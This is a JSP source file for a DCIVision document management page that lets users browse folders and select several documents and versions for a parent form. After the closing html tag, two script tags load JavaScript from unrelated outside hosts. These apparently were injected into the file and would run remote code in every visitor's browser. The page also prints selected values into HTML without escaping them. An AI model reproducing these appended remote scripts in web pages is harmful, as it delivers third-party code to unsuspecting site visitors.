<%
/*
 * @(#)ListDmsSelectMultiple.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsSelectMultiple.jsp

  This is a ListDmsSelectMultiple page.  It allows multiple file to be selected.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      23/10/2003
    @version            $Revision: 1.33.2.10 $
*/

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsSelectMultipleForm" scope="request" class="com.dcivision.dms.web.ListDmsSelectMultipleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsSelectMultipleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.document_name", "DOCUMENT_NAME"},
                            //{"dms.label.reference_no", "REFERENCE_NO"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"}//,
                            //{"dms.label.reference_no", "REFERENCE_NO"}
                          };

  String rootID = listDmsSelectMultipleForm.getRootID()==null? request.getParameter("rootID"): listDmsSelectMultipleForm.getRootID();
  String parentID = listDmsSelectMultipleForm.getParentID()==null? request.getParameter("parentID"): listDmsSelectMultipleForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  List versionList = (ArrayList) request.getAttribute(LIST_NAME+"_versionList");

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();
   String sCurFunctionCode = listDmsSelectMultipleForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listDmsSelectMultipleForm.getCurFunctionCode();

   //Permission string
   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());
   DmsRoot personalRoot = (DmsRoot) rootRetrievalManager.getRootObjectByOwnerID(sessionContainer.getUserRecordID());
   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }
   if (permission=="PERSONAL" || permission.indexOf("Z")>-1 ) {
    bListVersion=true;
    LABEL_MAP[2][0] = "dms.columnheader.version";
   }
%>
<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/common/dtree.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/dtree.jsp" charset="UTF-8" type="text/javascript"></script>
</head>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<script language="javascript">
<!--

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  setHiddenValue(val[0], val[1]);
}

function setHiddenValue(parentID, rootID) {
  //var targetLoc = tree.getFullPathString();

  //document.maintDmsArchiveForm.addressBar.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.listDmsSelectMultipleForm.parentID.value=parentID;
  document.listDmsSelectMultipleForm.rootID.value=rootID;
  document.listDmsSelectMultipleForm.submit();
}

function addSelected() {
  //alert('list count: '+document.listDmsSelectMultipleForm.listCnt.value);
  listCnt = parseInt(document.listDmsSelectMultipleForm.listCnt.value);
  var selectField = document.listDmsSelectMultipleForm.displayList;
  var hiddenField = document.listDmsSelectMultipleForm.selectedDoc;
  var hiddenStr = hiddenField.value;
  for (var i=0; i<=listCnt; i++) {
    var radioElm = eval("document.listDmsSelectMultipleForm.doc"+i+"_radio");
    versionSelect = eval("document.listDmsSelectMultipleForm.doc"+i);
    doc_id = eval("docObj"+i+"_docID");
    doc_name = eval("docObj"+i+"_docName");

    if (radioElm[0].checked) {
      if(versionSelect.length>2){
        var strArray = versionSelect.options[2].value.split(":");
        var displayStr = doc_name + " (" + strArray[1] + ")";
        var valueStr = doc_id + ":" + strArray[0];
        if (!checkDocumentHasSelected(hiddenStr, valueStr, displayStr) ) {
          if (hiddenStr.length > 0) {
            hiddenStr = hiddenStr + ",";
          }
          hiddenStr = hiddenStr + valueStr + "|" + displayStr;
          selectField.options[selectField.length] = new Option( displayStr, valueStr);
        }
      }
    } else if (radioElm[1].checked) {
      //alert(versionSelect.options[versionSelect.selectedIndex].value);
      if (versionSelect.selectedIndex == 1) {
        //alert('ALL');
        for (var j=2; j<versionSelect.length; j++) {
          var strArray = versionSelect.options[j].value.split(":");
          var displayStr = doc_name + " (" + strArray[1] + ")";
          var valueStr = doc_id + ":" + strArray[0];
          checkDocumentHasSelected(hiddenStr, valueStr, displayStr);
          if (!checkDocumentHasSelected(hiddenStr, valueStr, displayStr) ) {
            if (hiddenStr.length > 0) {
              hiddenStr = hiddenStr + ",";
            }
            hiddenStr = hiddenStr + valueStr + "|" + displayStr;
            selectField.options[selectField.length] = new Option (displayStr, valueStr );
          }
        }
      } else if (versionSelect.selectedIndex > 1) {
        var strArray = versionSelect.options[versionSelect.selectedIndex].value.split(":");
        var displayStr = doc_name + " (" + strArray[1] + ")";
        var valueStr = doc_id + ":" + strArray[0];
        if (!checkDocumentHasSelected(hiddenStr, valueStr, displayStr) ) {
          if (hiddenStr.length > 0) {
            hiddenStr = hiddenStr + ",";
          }
          hiddenStr = hiddenStr + valueStr + "|" + displayStr;
          selectField.options[selectField.length] = new Option( displayStr, valueStr);
        }
      } else {
        //alert('no need to restore');
      }
      newOption = parseInt(selectField.length);
    }
    versionSelect.selectedIndex = 0;
    radioElm[0].checked=false;
    radioElm[1].checked=false;
  }
  hiddenField.value = hiddenStr;
  return false;
}

function addTopVersion(versionID, versionLabel, i) {
  var selectField = document.listDmsSelectMultipleForm.displayList;
  var hiddenField = document.listDmsSelectMultipleForm.selectedDoc;
  var hiddenStr = hiddenField.value;
  doc_id = eval("docObj"+i+"_docID");
  doc_name = eval("docObj"+i+"_docName");

  var displayStr = doc_name + " (" + versionLabel + ")";
  var valueStr = doc_id + ":" + versionID;
  if (!checkDocumentHasSelected(hiddenStr, valueStr, displayStr) ) {
    if (hiddenStr.length > 0) {
      hiddenStr = hiddenStr + ",";
    }
    hiddenStr = hiddenStr + valueStr + "|" + displayStr;
    selectField.options[selectField.length] = new Option( displayStr, valueStr);
  }
  hiddenField.value = hiddenStr;
  return false;
}

function removeSelected() {
  var selectedDoc = document.listDmsSelectMultipleForm.displayList;
  var hiddenField = document.listDmsSelectMultipleForm.selectedDoc;
  var hiddenStr = "";
  for (var i=selectedDoc.length-1; i>=0; i--) {
    if (selectedDoc.options[i].selected) {
      selectedDoc.options[i] = null;
    }
  }
  for ( var i=0; i<selectedDoc.length; i++) {
    hiddenStr = hiddenStr + selectedDoc.options[i].value + "|" + selectedDoc.options[i].text + ",";
  }
  if (hiddenStr.length > 0) {
    hiddenStr = hiddenStr.substring(0, hiddenStr.length-1);
  }
  hiddenField.value = hiddenStr;
  return false;
}

function checkDocumentHasSelected(hiddenStr, valueStr, displayStr){
  var selectedList = hiddenStr.split(",");
  for (var i=0; i<selectedList.length; i++) {
    if (selectedList[i].indexOf(valueStr)==0) {
      return true;
    }
  }
  return false;
}

function OptFileSelection(){
  selectMenu = document.listDmsSelectMultipleForm.displayList;
  if (selectMenu.length < 1){
    alert("Please at least select one document!");
    return false;
  }

  var parentFormName = '<%=listDmsSelectMultipleForm.getFormName()%>';
  if (parentFormName == 'maintDmsForumForm' || parentFormName == 'maintMtmDocumentRelationshipForm') {
    singleFileSelected();
  }else{
    multipleFileSelected();
  }

}

function multipleFileSelected() {
  var parent = window.opener;
  var displayVal = "";
  var hiddenVal = document.listDmsSelectMultipleForm.selectedDoc.value;

  selectMenu = document.listDmsSelectMultipleForm.displayList;
  for (var i=0; i<selectMenu.length; i++) {
    displayVal = displayVal + selectMenu.options[i].text + ";" ;
  }

  var form = parent.document.<%=listDmsSelectMultipleForm.getFormName()%>;
  if (form!=null && form!=undefined) {
    form.<%=listDmsSelectMultipleForm.getDisplayFieldName()%>.value = displayVal;
    form.<%=listDmsSelectMultipleForm.getHiddenFieldName()%>.value = hiddenVal;
  }
  window.close();
}

function singleFileSelected() {
  var parent = window.opener;
  var displayVal = "";
  var hiddenVal = document.listDmsSelectMultipleForm.selectedDoc.value;

  selectMenu = document.listDmsSelectMultipleForm.displayList;
  if (selectMenu.length > 1){
    alert("<bean:message key='errors.forum.select_only_one_document'/>");
    return false;
  }

  displayVal = selectMenu.options[0].text;
  var namePos = displayVal.indexOf(" (");
  var idPos = hiddenVal.indexOf(":");

  var form = parent.document.<%=listDmsSelectMultipleForm.getFormName()%>;
  if (form!=null && form!=undefined) {
    form.<%=listDmsSelectMultipleForm.getDisplayFieldName()%>.value = displayVal.substring(0 , namePos);
    form.<%=listDmsSelectMultipleForm.getHiddenFieldName()%>.value = hiddenVal.substring(0, idPos);


    var parentFormName = '<%=listDmsSelectMultipleForm.getFormName()%>';
    if (parentFormName == 'maintMtmDocumentRelationshipForm') {
      form.documentName.value = displayVal.substring(0 , namePos);
    }
  }
  window.close();
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsSelectMultiple" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property='formName'/>
<html:hidden property='hiddenFieldName'/>
<html:hidden property='displayFieldName'/>

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>"/></font></layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" height="40" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="80">
      <nobr>&nbsp;&nbsp;<html:img src='IconFinder.gif' /><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='40' maxlength='100'/>
      &nbsp;
      <html:standardButton label="common.label.search" onClick="return(OpList(listDmsSelectMultipleForm, '${listDmsSelectMultipleForm.sortAttribute}', '${listDmsSelectMultipleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return OpListReset(listDmsSelectMultipleForm)"/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>

<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<!-- System And Error Messages End -->

<!-- Table Heading Begin -->
<table cellpadding="3" cellspacing="0" border="0" width="100%">
  <tr>
    <td>&nbsp;

    </td>
    <td align="right">&nbsp;

    </td>
  </tr>
</table>
<!-- Table Heading End -->

<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <!--tr>
    <td colspan="3">
      <table cellpadding="0" cellspacing="0" border="0" width="100%">
        <tr>
          <td width="50"><nobr><b><bean:message key='dms.label.location'/>:&nbsp;</b></nobr></td>
          <td><nobr><input type="text" name="addressBar" value="<%=request.getAttribute("location")%>" size="140" maxlength="255" style="font-size:11px;font-family:Arial" onkeypress="if (window.event.keyCode==13) popupLocationFinder(document.listDmsSelectMultipleForm);"><a href="javascript:void(0)" onclick="popupLocationFinder(document.listDmsSelectMultipleForm)"><html:img src='IconGoBlue16.gif' /></a></nobr></td>
        <tr>
      </table>
    </td>
  </tr-->
  <tr><td valign="top">
  <!-- Table Showing Record List Begin -->
  <table cellpadding="2" cellspacing="3" border="0" width="100%">
  <tr>
  <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
  <td valign="top">
<!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListDmsSelectMultiple";
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  document.listDmsSelectMultipleForm.parentID.value=docID;
  document.listDmsSelectMultipleForm.rootID.value=rootID;
  document.listDmsSelectMultipleForm.submit();
}

function handleTreeNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var fullPath = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, fullPath); break;
    default : alert("not support document type("+node.tp+")");
  }
}

//-->
</script>
  <select name="publicRootList" style="width:170px; font-family:Arial; font-size:8pt;"
    onchange="javascript:changeRoot(this.value);">
    <logic:present name="publicRootList">
      <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
        <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
          <bean:write name="dmsRoot" property="rootName"/>
        </option>
      </logic:iterate>
    </logic:present>
  </select>
  <script language="javascript">
  <!--
    var divHeight = GetInnerHeight() - 210;
    document.write('<div id="treeFrame" style="border:1px solid #CCCCCC;position:relative;left:0px;top:0px;width:170px;height:' + divHeight + 'px;z-index:1;overflow:auto;">');
  -->
  </script>
  <dms:tree name='<%="select"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
  <script language="javascript">
  <!--
    document.write('</div>');
  -->
  </script>
<!-- Hierarchy Tree End -->
  </td>
<% } %>
  <td valign="top"><table class="mainTable" cellpadding="3" cellspacing="1" border="0" width="100%">
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listDmsSelectMultipleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsSelectMultipleForm.getSortAttribute()%>" sortOrder="<%=listDmsSelectMultipleForm.getSortOrder()%>" copyColumn="false" checkColumn="false" editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <tr onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
      <td align="left">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>'/>
      </td>
      <!--td align="center"><bean:write property='referenceNo' name='dmsdocument'/></td-->
      <td align="center" nowrap><%
      List versionAvail = (ArrayList) versionList.get( listLoopCnt.intValue() );
      if (bListVersion) {
        %><!--input type="radio" name="doc<bean:write name='listLoopCnt'/>_radio" value="A">All</input-->
        <input type="radio" name="doc<bean:write name='listLoopCnt'/>_radio" value="C"><bean:message key='dms.label.current_versions'/></input>
        <input type="radio" name="doc<bean:write name='listLoopCnt'/>_radio" value="S"><bean:message key='dms.label.specific_version'/>: </input>
        <select name="doc<bean:write name='listLoopCnt'/>" style="font-size:11px">
          <option value=""><bean:message key='common.options.select_menu.select_one'/></option>
          <option value="ALL"><bean:message key='common.options.select_menu.all'/></option>
      <% for(int i=0; i<versionAvail.size(); i++) {
          DmsVersion version = (DmsVersion) versionAvail.get(i);
          out.println("<option value=\""+version.getID()+":"+version.getVersionLabel()+"\">"+version.getVersionLabel()+"</option>");
         }
      %></select><%
      } else {
         DmsVersion version = (DmsVersion) versionAvail.get(0);
      %><a href="javascript://" onClick="return addTopVersion(<%=version.getID()%>, '<%=version.getVersionLabel()%>', <%=listLoopCnt%>);" ><html:img src='IconGoBlue16.gif' /></a>
      <% } %>
      </td>
      <script language="Javascript">
      <!--
        docObj<bean:write name='listLoopCnt'/>_docID='<%=((DmsDocument)dmsdocument).getID()%>';
        docObj<bean:write name='listLoopCnt'/>_docName='<%=TextUtility.escapeJSString(((DmsDocument)dmsdocument).getDocumentName())%>';
      -->
      </script>
    </tr>
    </logic:iterate>
    <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
    <!-- Record Looping End -->
    <!-- Pager Information Begin -->
    <layout:pager form="listDmsSelectMultipleForm" name='<%=LIST_NAME%>'>
    <tr class="listContent">
      <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td width='100'>
              <logic:permission right='D'>
              &nbsp;
              </logic:permission>
            </td>
            <td align="center">
              <layout:pagerInfo/>
            </td>
            <td align="right">
              <nobr><layout:pagerIndex/></nobr>
            </td>
          </tr>
        </table>
      </td>
    </tr>
    </layout:pager>
    <!-- Pager Information End -->
  </table></td></tr></table>
</td>
<td>
<% if (bListVersion) { %>
  <table cellpadding="2" cellspacing="3" border="0" width="100%">
    <tr>
      <td><a href="javascript://" onClick="return addSelected();"><html:img src='IconAdd.gif' /></a></td>
    </tr>
    <tr>
      <td><a href="javascript://" onClick="return removeSelected();"><html:img src='IconRemove.gif' /></a></td>
    </tr>
  </table>
<% } else {%>&nbsp<% } %>
</td>
<td valign="top" width="200">
  <table cellpadding="2" cellspacing="4" border="0" width="100%" bgcolor="#FFFFFF">
    <tr>
      <td class="columnHead"><bean:message key='dms.label.file_selected'/></td>
    </tr>
    <tr>
      <td>
        <select name='displayList' size='14' multiple style="width:200px">
      <%
        String hiddenStr="";
        String[] selectedDoc = listDmsSelectMultipleForm.getSelectedDoc();
        for (int i=0; selectedDoc!=null && i<selectedDoc.length; i++) {
          String valueStr="", textStr="";
          LogFactory.getLog(this.getClass()).debug("1"+selectedDoc[i]+"2");
          if (Utility.isEmpty(selectedDoc[i])) continue;
          StringTokenizer tokenizer = new StringTokenizer(selectedDoc[i], "|");
          if (tokenizer.hasMoreTokens()) { valueStr = tokenizer.nextToken(); }
          if (tokenizer.hasMoreTokens()) { textStr = tokenizer.nextToken(); }
          out.println("<option value=\""+valueStr+"\">"+textStr+"</option>");
          hiddenStr += valueStr + "|" + textStr + ",";
        }
      %>
        </select>
        <html:hidden property='selectedDoc' value='<%=hiddenStr%>'/>
      </td>
    </tr>
  <% if (!bListVersion) { %>
    <tr>
      <td align="center">
        <html:standardButton label="dms.label.field_detail" onClick="return removeSelected()"/>
      </td>
    </tr>
  <% } %>
  </table>
</td></tr>
<tr>
  <td colspan='3' align='center'>
        <html:standardButton label="common.label.confirm" onClick="return OptFileSelection"/>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
  </td>
</tr>
</table>
<!-- Table Showing Record List End -->

</td></tr></table>

</html:form>
<!-- Form Section End -->

</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>